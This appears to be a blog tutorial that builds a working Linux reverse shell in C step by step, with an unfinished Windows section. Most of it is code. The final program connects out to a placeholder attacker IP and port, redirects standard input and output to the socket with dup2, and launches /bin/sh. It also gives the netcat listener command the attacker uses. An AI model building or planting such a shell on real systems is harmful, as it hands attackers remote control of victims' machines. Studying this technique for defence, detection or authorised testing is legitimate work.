Create a simple reverse shell in C/C++
If you’re reading this, you probably know what a “reverse shell” is, but, do you know how it works and the theory behind it?
In this tutorial we will see how to make a simple and functional reverse shell from scratch in C/C++ for Linux and for Windows.
This reverse shell shell is also available on my github.
Contents
Linux
Start
We will start by creating the main function and a couple of defines for the attacker IP and port, these will be the IP and port the reverse shell will try to connect to and where the attacker (us) will be listening with netcat.
The sockaddr
struct
Let’s go with something more interesting, let’s see how to make the connection from the target to the attacker.
For this part we will use sockets. Sockets is the way of connecting two nodes on a network (including Internet) to communicate them. One socket listens on a particular port (the attacker in our case) and the other socket (the target) reaches into it to form a connection.
For more information about socket programming in C/C++ you can visit this geeks for geeks post.
Let’s include the library <arpa/inet.h>
and create a
struct sockaddr_in
variable, this is the structure for all syscalls and
functions that deal with IPv4 Internet addresses.
For reference, these are some of the structures:
sockaddr_in
:AF_INET
, used for IPv4.sockaddr_in6
:AF_INET6
, used for IPv6.sockaddr_un
:AF_UNIX
(AF_LOCAL
), used to communicate between processes on the same machine efficiently.sockaddr
: Used as the common date struct for any kind of socket operation (don’t use it, use the specific structure of the operation you are doing).
This is what our code looks like after declaring sockaddr_in
and defining all its members:
#include <arpa/inet.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa; // struct
sa.sin_family = AF_INET; // AF_INET for IPv4 / AF_INET6 for IPv6
sa.sin_port = htons(ATTACKER_PORT); // htons() takes an integer in host byte order and returns an integer in network byte order used in TCP/IP networks
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP); // inet_addr() interprets the character string representing the IP address
return (0);
}
Just for reference, these are the prototypes of the structures and a more advanced explanation of them:
#include <netinet/in.h>
/* Common struct:
* socket functions takes this as parameter and use it to identify the
* family (AF_INET, AF_INET6 or AF_UNIX), that way they can behave
* differently depending on the family.
*/
struct sockaddr {
unsigned short sa_family; // 2 bytes: address family, AF_xxx
char sa_data[14]; // 14 bytes: to get to 16 bytes.
};
/* AF_INET (IPv4) structure: */
struct sockaddr_in {
short sin_family; // 2 bytes: AF_INET for IPv4
unsigned short sin_port; // 2 bytes: htons(PORT)
struct in_addr sin_addr; // 4 bytes: see struct in_addr below
char sin_zero[8]; // 8 bytes: to get to 16 bytes.
};
/* Saves a number suitable for use as an Internet address */
struct in_addr {
unsigned long s_addr; // 4 bytes: inet_addr(IP) for IPv4
};
/* Explanation:
* It is interesting to see how the structures fill to reach 16 bytes,
* in this way they all take the same amount of memory (16 bytes), so
* sockaddr can be casted to the other types without problems or losing
* data.
* (Avoid using sockaddr, this is done by the library just to be able
* to receive a common parameter in the functions, and cast once they
* know the type).
*/
The socket
Before you go any further, if you don’t know what a file descriptor is, maybe you’re rushing a little too much with C. Please review what are the file descriptors so you can understand the next step.
Now let’s create a socket file descriptor, it’s like a normal file descriptor, but instead of a file, we will “open” a connection with other socket (node):
#include <arpa/inet.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
/* Prototype:
* int socket(int domain, int type, int protocol);
* @param domain: communication domain, we are using AF_INET (IPv4).
* @param type: SOCK_STREAM provides sequenced, reliable, two-way, connection-based byte streams.
* @param protocol: a particular protocol to be used (normally only a single protocol exists to support a particular socket type, in which case, protocol can be specified as 0.
*/
int sockt = socket(AF_INET, SOCK_STREAM, 0);
return (0);
}
You can find more information about the socket()
function on the man page.
Establishing the connection
The time has come, we already have all the necessary information for the
connection in the structure sockaddr_in
, and an open socket through which to
establish the connection. To do this we will call the connect()
function.
If the connection is made correctly the function connect()
will return 0,
so we will protect a connection failure
(e.g. the attacker is not listening on the port) with an if ()
and we will print an error and exit the program.
#include <arpa/inet.h>
#include <stdio.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
printf("[ERROR] connection failed.\n");
return (1);
}
return (0);
}
For reference, the connect()
prototype:
/* connect() receives by parameter the socket in which to make
* the connection, and our structure with all the information.
* The third parameter is to indicate the size of the structure
* and avoid segfaults.
*/
int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
At this point you can test if the program makes the connection. Of course it will be necessary for the attacker to be listening or the connection will fail. As you should know, we will use netcat in the attacker for this purpose:
nc -lvvnp PORT
Compile and run the program in the target, the output on yout computer should be semething like this:
Listening on 0.0.0.0 PORT
Connection received on XX.XX.XX.XX XXXX
Creating the reverse shell
Our program makes the connection, but that’s all, now comes the interesting part, we will execute a shell on the target and make the attacker able to interact with it. We will divide this process into two steps.
First we’ll duplicate the stdin, stdout and stderr fd to out socket. In this way, everything that is send by the attacker and received through the socket fd will go to stdin, and everything that goes out through stdout and/or stderr will go through the socket fd, thus reaching the attacker.
Obviously we will use dup2()
for this purpose (dup2 man page):
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
printf("[ERROR] connection failed.\n");
return (1);
}
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
return (0);
}
Cool, now the stdin, stdout and stderr are in the hands of the attacker (our hands), all we have to do now is run a shell so the attacker can interact with it.
We will use execve()
to execute /bin/sh
, of course you can change it to
/bin/bash
, but using /bin/sh
it’s a more portable option.
To call execve()
we will have to pass the following parameters:
const char *pathname
: the binary path.char *const argv[]
: the program arguments, none in our case (not countingargv[0]
, the name of the program, it is a required argument).char *const envp[]
: the enviroment variables, none in our case.
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#define ATTACKER_IP "0.0.0.0"
#define ATTACKER_PORT 0
int main(void) {
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(ATTACKER_PORT);
sa.sin_addr.s_addr = inet_addr(ATTACKER_IP);
int sockt = socket(AF_INET, SOCK_STREAM, 0);
if (connect(sockt, (struct sockaddr *)&sa, sizeof(sa)) != 0) {
printf("[ERROR] connection failed.\n");
return (1);
}
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char *const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return (0);
}
Ans that’s all! We already have a simple reverse shell for Linux up and running. Of course, whenever you are going to use it, make sure you do it under your environment or with the consent of the target.
Windows
Coming soon...